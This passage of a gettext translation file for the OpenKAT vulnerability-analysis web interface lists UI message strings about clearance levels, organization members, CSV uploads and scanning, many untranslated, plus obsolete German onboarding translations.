in the future.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Can not parse date, falling back to show current date.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"You do not have the permission to add items to a dashboard.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Dashboard item has been added.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_add.py\n#, python-format\nmsgid \"Add %(ooi_type)s\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"\"\n\"Cannot set clearance level. It must be provided and must be a valid number.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Only Question OOIs can be answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Question has been answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail_related_object.py\nmsgid \" (as \"\nmsgstr \"\"\n\n#: rocky/views/ooi_findings.py\nmsgid \"Object findings\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"No OOIs selected.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance levels to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You were trusted a clearance level \"\n\"of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You acknowledged a clearance level \"\n\"of L%s. Please accept the clearance level below to proceed.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while saving clearance levels.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"One of the OOI's doesn't exist\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set scan profile to %s for %d OOIs.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while setting clearance levels to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"\"\n\"An error occurred while setting clearance levels to inherit: one of the OOIs \"\n\"doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set %d OOI(s) clearance level to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting oois.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting OOIs: one of the OOIs doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Successfully deleted %d ooi(s). Note: Bits can recreate objects \"\n\"automatically.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Please select at least one finding.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully unmuted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully muted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Tree Visualisation\"\nmsgstr \"\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Graph Visualisation\"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Observed_at: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"OOI types: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance level: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance type: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Searching for: \"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Setup\"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Organization added successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"You are not allowed to add organizations.\"\nmsgstr \"\"\n\n#: rocky/views/organization_edit.py\n#, python-format\nmsgid \"Organization %s successfully updated.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Add column titles, followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The columns are: \"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Clearance levels should be between -1 and 4.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Account type can be one of: \"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Member added successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The csv file is missing required columns\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid account type: '{account_type}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid data for: '{email}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid email address: '{email}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Successfully processed users from csv.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Error parsing the csv file. Please verify its contents.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"Member %s successfully updated.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"\"\n\"The updated trusted clearance level of L%s is lower then the member's \"\n\"acknowledged clearance level of L%s. This member only has clearance for \"\n\"level L%s. For this reason the acknowledged clearance level has been set at \"\n\"the same level as trusted clearance level.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\nmsgid \"\"\n\"You have trusted this member with a higher trusted level than member \"\n\"acknowledged. Member must first accept this level to use it.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Blocked member %s successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Unblocked member %s successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_settings.py\n#, python-brace-format\nmsgid \"Recalculated {number_of_bits} bits. Duration: {duration}\"\nmsgstr \"\"\n\n#: rocky/views/page_actions.py\nmsgid \"Could not process your request, action required.\"\nmsgstr \"\"\n\n#: rocky/views/scan_profile.py\nmsgid \"\"\n\"Cannot set clearance level. The clearance type must be inherited or declared.\"\nmsgstr \"\"\n\n#: rocky/views/scans.py\nmsgid \"Scans\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"Your report has been scheduled.\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"\"\n\"Your task is scheduled and will soon be started in the background. Results \"\n\"will be added to the object list when they are in. It may take some time, a \"\n\"refresh of the page may be needed to show the results.\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\n#, python-brace-format\nmsgid \"Fetching tasks failed: no connection with scheduler: {error}\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\nmsgid \"All Tasks\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Add column titles. Followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For URL object type, a column 'raw' with URL values is required, starting \"\n\"with http:// or https://, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For Hostname object type, a column with 'name' values is required, \"\n\"optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For IPAddressV4 and IPAddressV6 object types, a column of 'address' is \"\n\"required, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"Clearance levels can be controlled by a column 'clearance' taking numerical \"\n\"values 0, 1, 2, 3, and 4 for the corresponding clearance level (other values \"\n\"are ignored) \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) could not be created for row number(s): \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) successfully added.\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: status code %d\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: %s\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\nmsgid \"Raw file successfully added.\"\nmsgstr \"\"\n\n#~ msgid \"Clearance level has been set\"\n#~ msgstr \"Die Freigabestufe wurde festgelegt\"\n\n#~ msgid \"Add URL\"\n#~ msgstr \"URL hinzufügen\"\n\n#~ msgid \"The Email must be set\"\n#~ msgstr \"Die E-Mail muss eingestellt werden\"\n\n#~ msgid \"E-mail address\"\n#~ msgstr \"E-Mail-Adresse\"\n\n#, python-brace-format\n#~ msgid \"A unique code of {code_length} characters.\"\n#~ msgstr \"Ein eindeutiger Code von {code_length} Zeichen.\"\n\n#~ msgid \"\"\n#~ \"I declare that OpenKAT may scan the assets of my organization and that I \"\n#~ \"have permission to scan these assets. I am aware of the implications a \"\n#~ \"scan with a higher scan level brings on my systems.\"\n#~ msgstr \"\"\n#~ \"Ich erkläre, dass OpenKAT die Assets meiner Organisation scannen darf und \"\n#~ \"dass ich die Erlaubnis habe, diese Assets zu scannen. Ich bin mir der \"\n#~ \"Auswirkungen bewusst, die ein Scan mit einer höheren Scanebene auf meine \"\n#~ \"Systeme hat.\"\n\n#~ msgid \"\"\n#~ \"I declare that I am authorized to give this indemnification within my \"\n#~ \"organization. I have the experience and knowledge to know what the \"\n#~ \"consequences might be and can be held responsible for them.\"\n#~ msgstr \"\"\n#~ \"Ich erkläre, dass ich befugt bin, diese Haftungsfreistellung innerhalb \"\n#~ \"meiner Organisation abzugeben. Ich verfüge über die Erfahrung und das \"\n#~ \"Wissen, um die möglichen Folgen zu kennen, und kann für diese \"\n#~ \"verantwortlich gemacht werden.\"\n\n#~ msgid \"Organization setup with separate accounts:\"\n#~ msgstr \"Einrichtung einer Organisation mit separaten Konten:\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT it is possible to create separate user accounts with the \"\n#~ \"specific roles. Each with their own functionalities and permissions. This \"\n#~ \"is useful when multiple people will be working with the same OpenKAT-\"\n#~ \"setup. You can choose to create the separate accounts during this \"\n#~ \"introduction or when you’re ready from the OpenKAT users page.\"\n#~ msgstr \"\"\n#~ \"Innerhalb von OpenKAT ist es möglich, separate Benutzerkonten mit den \"\n#~ \"spezifischen Rollen zu erstellen. Jeder mit seinen eigenen Funktionen und \"\n#~ \"Berechtigungen. Dies ist nützlich, wenn mehrere Personen mit demselben \"\n#~ \"OpenKAT-Setup arbeiten werden. Sie können die separaten Konten während \"\n#~ \"dieser Einführung oder zu einem späteren Zeitpunkt auf der OpenKAT-\"\n#~ \"Benutzerseite erstellen.\"\n\n#~ msgid \"Single account setup:\"\n#~ msgstr \"Einrichtung eines Einzelkontos:\"\n\n#~ msgid \"\"\n#~ \"Alternatively it is also an option to run OpenKAT from a single user \"\n#~ \"account. Which is useful when you are the only user in the account. You \"\n#~ \"will be able to access the functionality of the different roles from your \"\n#~ \"account. You can always add additional user accounts If you’re team \"\n#~ \"expands in the future.\"\n#~ msgstr \"\"\n#~ \"Alternativ ist es auch möglich, OpenKAT von einem einzigen Benutzerkonto \"\n#~ \"aus zu starten. Dies ist nützlich, wenn Sie der einzige Benutzer des \"\n#~ \"Kontos sind. Sie können dann von Ihrem Konto aus auf die Funktionen der \"\n#~ \"verschiedenen Rollen zugreifen. Sie können jederzeit weitere \"\n#~ \"Benutzerkonten hinzufügen, wenn sich Ihr Team in Zukunft erweitert.\"\n\n#~ msgid \"Create separate accounts\"\n#~ msgstr \"Getrennte Konten erstellen\"\n\n#~ msgid \"Continue with this account, onboard me!\"\n#~ msgstr \"Fahren Sie mit diesem Konto fort, nehmen Sie mich an Bord!\"\n\n#~ msgid \"Users\"\n#~ msgstr \"Benutzer*Innen\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT there are three types of user accounts. Each has its own \"\n#~ \"functions.\"\n#~ msgstr \"\"\n#~ \"In OpenKAT gibt es drei Arten von Benutzerkonten. Jedes hat seine eigenen \"\n#~ \"Funktionen.\"\n\n#~ msgid \"Admin\"\n#~ msgstr \"Admin\"\n\n#~ msgid \"\"\n#~ \"Each organization must have an admin. The admin can create and manage \"\n#~ \"user accounts as well as organization details.\"\n#~ msgstr \"\"\n#~ \"Jede Organisation muss einen Administrator haben. Der Administrator kann \"\n#~ \"Benutzerkonten erstellen und verwalten sowie Details zur Organisation.\"\n\n#~ msgid \"Red teamer\"\n#~ msgstr \"Redteamer\"\n\n#~ msgid \"A red teamer account can run scans and generate reports.\"\n#~ msgstr \"Ein Red-Teamer-Konto kann Scans durchführen und Berichte erstellen.\"\n\n#~ msgid \"Client account\"\n#~ msgstr \"Kundenkonto\"\n\n#~ msgid \"A client account can access reports.\"\n#~ msgstr \"Ein Kundenkonto kann auf Berichte zugreifen.\"\n\n#~ msgid \"\"\n#~ \"Each organization requires at least one admin and one red teamer account \"\n#~ \"to function. This introduction will guide you through the setup of both. \"\n#~ \"After that you can choose to add a client account as well.\"\n#~ msgstr \"\"\n#~ \"Jede Organisation benötigt mindestens ein Admin- und ein Red-Teamer-\"\n#~ \"Konto, um zu funktionieren. Diese Einführung wird Sie durch die \"\n#~ \"Einrichtung beider Konten führen. Danach können Sie sich entscheiden, \"\n#~ \"auch ein Kundenkonto hinzuzufügen.\"\n\n#~ msgid \"Let's add accounts\"\n#~ msgstr \"Wir wollen Konten hinzufügen\"\n\n#~ msgid \"Admin account setup\"\n#~ msgstr \"Admin-Konto einrichten\"\n\n#~ msgid \"Admin details\"\n#~ msgstr \"Admin-Details\"\n\n#~ msgid \"Skip this step\"\n#~ msgstr \"Diesen Schritt überspringen\"\n\n#~ msgid \"Go back to previous step\"\n#~ msgstr \"Zum vorherigen Schritt zurückkehren\"\n\n#~ msgid \"Red teamer account setup\"\n#~ msgstr \"Einrichtung eines Red-Teamers-Kontos\"\n\n#~ msgid \"Red teamer details\"\n#~ msgstr \"Red-Teamer-Details\"\n\n#~ msgid \"Client account setup (optional)\"\n#~ msgstr \"Einrichtung eines Kundenkontos (optional)\"\n\n#~ msgid \"\"\n#~ \"A client account can access reports. Adding a client account to the \"\n#~ \"organization is optional.\"\n#~ msgstr \"\"\n#~ \"Ein Kundenkonto kann auf Berichte zugreifen. Das Hinzufügen eines \"\n#~ \"Kundenkontos zur Organisation ist optional.\"\n\n#~ msgid \"User details\"\n#~ msgstr \"Benutzerdetails\"\n\n#~ msgid \"Finish organization setup\"\n#~ msgstr \"Einrichtung der Organisation abschließen\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is the \\\"Kwetsbaarheden Analyse Tool\\\" (Vulnerabilities Analysis \"\n#~ \"Tool). An Open-Source-project developed by the Ministry of Health, \"\n#~ \"Welfare and Sport to make your and our world a safer place.\"\n#~ msgstr \"\"\n#~ \"OpenKAT ist das \\\"Kwetsbaarheden Analyse Tool\\\" (Werkzeug zur Analyse von \"\n#~ \"Schwachstellen). Ein Open-Source-Projekt, das vom Ministerium für \"\n#~ \"Gesundheit, Wohlfahrt und Sport entwickelt wurde, um Ihre und unsere Welt \"\n#~ \"sicherer zu machen.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT is able to give insight into security risks on your online \"\n#~ \"objects. For example, your websites, mailservers or online data.\"\n#~ msgstr \"\"\n#~ \"OpenKAT ist in der Lage, einen Einblick in die Sicherheitsrisiken auf \"\n#~ \"Ihren Online-Objekten zu geben. Zum Beispiel Ihre Websites, Mailserver \"\n#~ \"oder Online-Daten.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT uses plugins to find and assess the area's that might be at risk \"\n#~ \"and reports these back to you. Each plugin has its own skillset which \"\n#~ \"could be scanning, normalizing or analyzing data. As a user you decide \"\n#~ \"which areas you would like to monitor or scan and which insight you would \"\n#~ \"like to receive.\"\n#~ msgstr \"\"\n#~ \"OpenKAT verwendet Plugins, um die möglicherweise gefährdeten Bereiche zu \"\n#~ \"finden und zu bewerten, und meldet diese an Sie zurück. Jedes Plugin hat \"\n#~ \"seine eigenen Fähigkeiten, die im Scannen, Normalisieren oder Analysieren \"\n#~ \"von Daten bestehen können. Als Nutzer entscheiden Sie, welche Bereiche \"\n#~ \"Sie überwachen oder scannen möchten und welche Erkenntnisse Sie erhalten \"\n#~ \"möchten.\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view the insights as well as all the data OpenKAT \"\n#~ \"has found. You can choose to browse through the data or view reports.\"\n#~ msgstr \"\"\n#~ \"Innerhalb von OpenKAT können Sie die Erkenntnisse sowie alle Daten, die \"\n#~ \"OpenKAT gefunden hat, einsehen. Sie können wählen, ob Sie die Daten \"\n#~ \"durchsuchen oder Berichte anzeigen möchten.\"\n\n#~ msgid \"\"\n#~ \"During this introduction you will be guided through the steps to create a \"\n#~ \"report.\"\n#~ msgstr \"\"\n#~ \"Während dieser Einführung werden Sie durch die Schritte zur Erstellung \"\n#~ \"eines Berichts geführt.\"\n\n#~ msgid \"OpenKAT introduction\"\n#~ msgstr \"OpenKAT Einführung\"\n\n#~ msgid \"Choose a report - Introduction\"\n#~ msgstr \"Wählen Sie einen Bericht - Einleitung\"\n\n#~ msgid \"\"\n#~ \"Reports within OpenKAT contain an overview of the scanned objects, issues \"\n#~ \"found within them and known security risks that the object might be \"\n#~ \"vulnerable to. Each report gives a high overview of the state of the \"\n#~ \"object as well as detailed information on what OpenKAT found and possible \"\n#~ \"solutions.\"\n#~ msgstr \"\"\n#~ \"Die Berichte in OpenKAT enthalten einen Überblick über die gescannten \"\n#~ \"Objekte, die darin gefundenen Probleme und die bekannten \"\n#~ \"Sicherheitsrisiken, für die das Objekt anfällig sein könnte. Jeder \"\n#~ \"Bericht gibt einen umfassenden Überblick über den Zustand des Objekts \"\n#~ \"sowie detaillierte Informationen darüber, was OpenKAT gefunden hat, und \"\n#~ \"mögliche Lösungen.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT can scan and analyze by using plugins. Each plugin has it's \"\n#~ \"unique skillset and will collect specific data or give specific insights. \"\n#~ \"You manage the plugins within your account which let's OpenKAT know which \"\n#~ \"plugins to run and on which objects or areas.\"\n#~ msgstr \"\"\n#~ \"OpenKAT kann mit Hilfe von Plugins scannen und analysieren. Jedes Plugin \"\n#~ \"hat seine eigenen Fähigkeiten und sammelt spezifische Daten oder gibt \"\n#~ \"spezifische Einblicke. Sie verwalten die Plugins in Ihrem Konto, damit \"\n#~ \"OpenKAT weiß, welche Plugins für welche Objekte oder Bereiche ausgeführt \"\n#~ \"werden sollen.\"\n\n#~ msgid \"Generating a report\"\n#~ msgstr \"Report generieren\"\n\n#~ msgid \"\"\n#~ \"When you choose a report type OpenKAT will guide you through the setup. \"\n#~ \"OpenKAT will ask the necessary questions based on the input the report \"\n#~ \"needs, as well as asks for permission to run plugins that you haven’t \"\n#~ \"enabled yet but are needed to collect or analyze the data.\"\n#~ msgstr \"\"\n#~ \"Wenn Sie einen Berichtstyp auswählen, wird OpenKAT Sie durch die \"\n#~ \"Einrichtung führen. OpenKAT stellt die notwendigen Fragen auf der \"\n#~ \"Grundlage der Eingaben, die der Bericht benötigt, und bittet um die \"\n#~ \"Erlaubnis, Plugins auszuführen, die Sie noch nicht aktiviert haben, die \"\n#~ \"aber für die Erfassung oder Analyse der Daten erforderlich sind.\"\n\n#~ msgid \"\"\n#~ \"You can also choose to look at the collected data directly or generate \"\n#~ \"your own report by selecting and running plugins on objects of your \"\n#~ \"choice. OpenKAT will present the results.\"\n#~ msgstr \"\"\n#~ \"Sie können sich die gesammelten Daten auch direkt ansehen oder Ihren \"\n#~ \"eigenen Bericht erstellen, indem Sie Plugins für Objekte Ihrer Wahl \"\n#~ \"auswählen und ausführen. OpenKAT wird die Ergebnisse präsentieren.\"\n\n#~ msgid \"Permission\"\n#~ msgstr \"Erlaubnis\"\n\n#~ msgid \"\"\n#~ \"Plugins can be provided by OpenKAT but they can also come from the \"\n#~ \"community. Before a plugin can run, you need to give it permission by \"\n#~ \"enabling it.\"\n#~ msgstr \"\"\n#~ \"Plugins können von OpenKAT zur Verfügung gestellt werden, aber sie können \"\n#~ \"auch von der Gemeinschaft kommen. Bevor ein Plugin ausgeführt werden \"\n#~ \"kann, müssen Sie ihm die Erlaubnis erteilen, indem Sie es aktivieren.\"\n\n#~ msgid \"\"\n#~ \"When you generate a report. OpenKAT will let you know which plugins it \"\n#~ \"requires or suggests so you can choose to enable them.\"\n#~ msgstr \"\"\n#~ \"Wenn Sie einen Bericht erstellen. OpenKAT teilt Ihnen mit, welche Plugins \"\n#~ \"es benötigt oder vorschlägt, damit Sie diese aktivieren können.\"\n\n#~ msgid \"Let's choose a report\"\n#~ msgstr \"Lassen Sie uns einen Bericht auswählen\"\n\n#~ msgid \"Choose a report - Type\"\n#~ msgstr \"Wählen Sie einen Bericht - Typ\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view reports for each of your current objects. For \"\n#~ \"specific reports you can choose one of the available report types and \"\n#~ \"generate a report. Such as a pentest, a DNS-report or a Mail Report to \"\n#~ \"give some examples.\"\n#~ msgstr \"\"\n#~ \"In OpenKAT können Sie Berichte für jedes Ihrer aktuellen Objekte \"\n#~ \"anzeigen. Für spezifische Berichte können Sie einen der verfügbaren \"\n#~ \"Berichtstypen auswählen und einen Bericht erstellen. Ein Pentest, ein DNS-\"\n#~ \"Bericht oder ein Mail-Bericht sind nur einige Beispiele.\"\n\n#~ msgid \"For this tutorial we will create a DNS-report to get you started.\"\n#~ msgstr \"\"\n#~ \"In diesem Tutorial werden wir einen DNS-Bericht erstellen, um Ihnen den \"\n#~ \"Einstieg zu erleichtern.\"\n\n#~ msgid \"\"\n#~ \"When you start to generate this report. OpenKAT will guide you through \"\n#~ \"the necessary steps.\"\n#~ msgstr \"\"\n#~ \"Wenn Sie beginnen, diesen Bericht zu erstellen. OpenKAT wird Sie durch \"\n#~ \"die notwendigen Schritte führen.\"\n\n#~ msgid \"Setup scan\"\n#~ msgstr \"Scan einrichten\"\n\n#~ msgid \"Let OpenKAT know what object to scan\"\n#~ msgstr \"Lassen Sie OpenKAT wissen, welches Objekt gescannt werden soll\"\n\n#~ msgid \"\"\n#~ \"Plugins scan and analyze objects. OpenKAT needs to know which object(s) \"\n#~ \"you would like to scan and analyze for the DNS-report. So it can tell you \"\n#~ \"which plugins are available for the chosen object.\"\n#~ msgstr \"\"\n#~ \"Plugins scannen und analysieren Objekte. OpenKAT muss wissen, welche(s) \"\n#~ \"Objekt(e) Sie für den DNS-Bericht scannen und analysieren möchten. So \"\n#~ \"kann es Ihnen sagen, welche Plugins für das gewählte Objekt verfügbar \"\n#~ \"sind.\"\n\n#~ msgid \"Understanding objects\"\n#~ msgstr \"Objekte verstehen\"\n\n#~ msgid \"\"\n#~ \"A lot of things can be an object within the scope of OpenKAT. For example \"\n#~ \"a mailserver, an IP address, a URL, a DNS record, a hostname or a network \"\n#~ \"to name a few.  While these objects can be related to each other they are \"\n#~ \"all objects within OpenKAT that can be scanned to gain valuable insight.\"\n#~ msgstr \"\"\n#~ \"Viele Dinge können ein Objekt im Rahmen von OpenKAT sein. Zum Beispiel \"\n#~ \"ein Mailserver, eine IP-Adresse, eine URL, ein DNS-Eintrag, ein Hostname \"\n#~ \"oder ein Netzwerk, um nur einige zu nennen.  Obwohl diese Objekte \"\n#~ \"miteinander in Beziehung stehen können, sind sie alle Objekte innerhalb \"\n#~ \"von OpenKAT, die gescannt werden können, um wertvolle Erkenntnisse zu \"\n#~ \"gewinnen.\"\n\n#~ msgid \"Creating, adding and editing objects\"\n#~ msgstr \"Erstellen, Hinzufügen und Bearbeiten von Objekten\"\n\n#~ msgid \"\"\n#~ \"Within OpenKAT you can view, add and edit objects from the organization’s \"\n#~ \"object page.\"\n#~ msgstr \"\"\n#~ \"In OpenKAT können Sie Objekte auf der Objektseite der Organisation \"\n#~ \"anzeigen, hinzufügen und bearbeiten.\"\n\n#~ msgid \"\"\n#~ \"Let’s add an object to scan for the DNS-Report. For this introduction we \"\n#~ \"suggest adding a URL.\"\n#~ msgstr \"\"\n#~ \"Fügen wir ein Objekt hinzu, um nach dem DNS-Bericht zu suchen. Für diese \"\n#~ \"Einführung schlagen wir vor, eine URL hinzuzufügen.\"\n\n#~ msgid \"Create your first object, a URL by filling out the form below.\"\n#~ msgstr \"\"\n#~ \"Erstellen Sie Ihr erstes Objekt, eine URL, indem Sie das untenstehende \"\n#~ \"Formular ausfüllen.\"\n\n#~ msgid \"\"\n#~ \"Additional details and examples can be found by pressing on the help \"\n#~ \"button next to the input field.\"\n#~ msgstr \"\"\n#~ \"Weitere Details und Beispiele finden Sie, wenn Sie auf die Schaltfläche \"\n#~ \"\\\"Hilfe\\\" neben dem Eingabefeld klicken.\"\n\n#~ msgid \"Dependencies\"\n#~ msgstr \"Abhängigkeiten\"\n\n#~ msgid \"\"\n#~ \"Most objects have dependencies on the existence of other objects. For \"\n#~ \"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n#~ \"qualified domain name) and IP address. OpenKAT collects these additional \"\n#~ \"object automatically when possible. By running plugins to collect or \"\n#~ \"extract this data.\"\n#~ msgstr \"\"\n#~ \"Die meisten Objekte sind von der Existenz anderer Objekte abhängig. Zum \"\n#~ \"Beispiel muss eine URL mit einem Netzwerk verbunden sein, Hostname, FQDN \"\n#~ \"(Fully Qualified Domain Name) und IP-Adresse. OpenKAT sammelt diese \"\n#~ \"zusätzlichen Objekte automatisch, wenn möglich. Durch die Ausführung von \"\n#~ \"Plugins zum Sammeln oder Extrahieren dieser Daten.\"\n\n#~ msgid \"\"\n#~ \"The additional objects that OpenKAT created will be added to your object \"\n#~ \"list as separate objects. If OpenKAT can’t add them automatically it will \"\n#~ \"guide you through the process of creating them manually.\"\n#~ msgstr \"\"\n#~ \"Die zusätzlichen Objekte, die OpenKAT erstellt hat, werden als separate \"\n#~ \"Objekte zu Ihrer Objektliste hinzugefügt. Wenn OpenKAT sie nicht \"\n#~ \"automatisch hinzufügen kann, wird es Sie durch den Prozess der manuellen \"\n#~ \"Erstellung leiten.\"\n\n#~ msgid \"\"\n#~ \"Based on the url you provided OpenKAT added the necessary additional \"\n#~ \"objects to create a url object.\"\n#~ msgstr \"\"\n#~ \"Basierend auf der von Ihnen angegebenen URL hat OpenKAT die notwendigen \"\n#~ \"zusätzlichen Objekte hinzugefügt, um ein URL-Objekt zu erstellen.\"\n\n#~ msgid \"URL\"\n#~ msgstr \"URL\"\n\n#~ msgid \"Account Type\"\n#~ msgstr \"Accounttyp\"\n\n#~ msgid \"Every member of OpenKAT must be part of an account type.\"\n#~ msgstr \"Jedes Mitglied von OpenKAT muss Teil eines Accounttyps sein.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"These are the findings of a OpenKAT-analysis (%(observed_at)s). Click a \"\n#~ \"finding for more detailed information about the issue, its origin, \"\n#~ \"severity and possible solutions.\"\n#~ msgstr \"\"\n#~ \"Dies sind die Ergebnisse einer OpenKAT-Analyse (%(observed_at)s). Klicken \"\n#~ \"Sie auf ein Ergebnis, um nähere Informationen über das Problem, seinen \"\n#~ \"Ursprung, seinen Schweregrad und mögliche Lösungen zu erhalten.\"\n\n#~ msgid \"DNS Tree\"\n#~ msgstr \"DNS Baum\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            You don't have any clearance to scan objects.\"\n#~ \"<br>\\n\"\n#~ \"                            Get in contact with the admin to give you the \"\n#~ \"necessary clearance level.\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            Sie haben keine Berechtigung zum Scannen von \"\n#~ \"Objekten.<br>\\n\"\n#~ \"                            Setzen Sie sich mit dem Administrator in \"\n#~ \"Verbindung, damit er Ihnen die erforderliche Freigabestufe erteilt.\\n\"\n#~ \"                        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Withdraw L%(acl)s clearance and \"\n#~ \"responsibility\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            F%(acl)s Freigabe und Verantwortung \"\n#~ \"entziehen\\n\"\n#~ \"                    \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        Accept level L%(tcl)s clearance and \"\n#~ \"responsibility\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        Freigabe und Verantwortung der Ebene F%(tcl)s \"\n#~ \"akzeptieren\\n\"\n#~ \"                    \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Add setting\\n\"\n#~ \"          \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"            Add settings\\n\"\n#~ \"          \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"            Einstellung hinzufügen\\n\"\n#~ \"          \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"            Einstellungen hinzufügen\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Setting\\n\"\n#~ \"          \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"            Settings\\n\"\n#~ \"          \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"            Einstellung\\n\"\n#~ \"          \"\n#~ msgstr[1] \"\"\n#~ 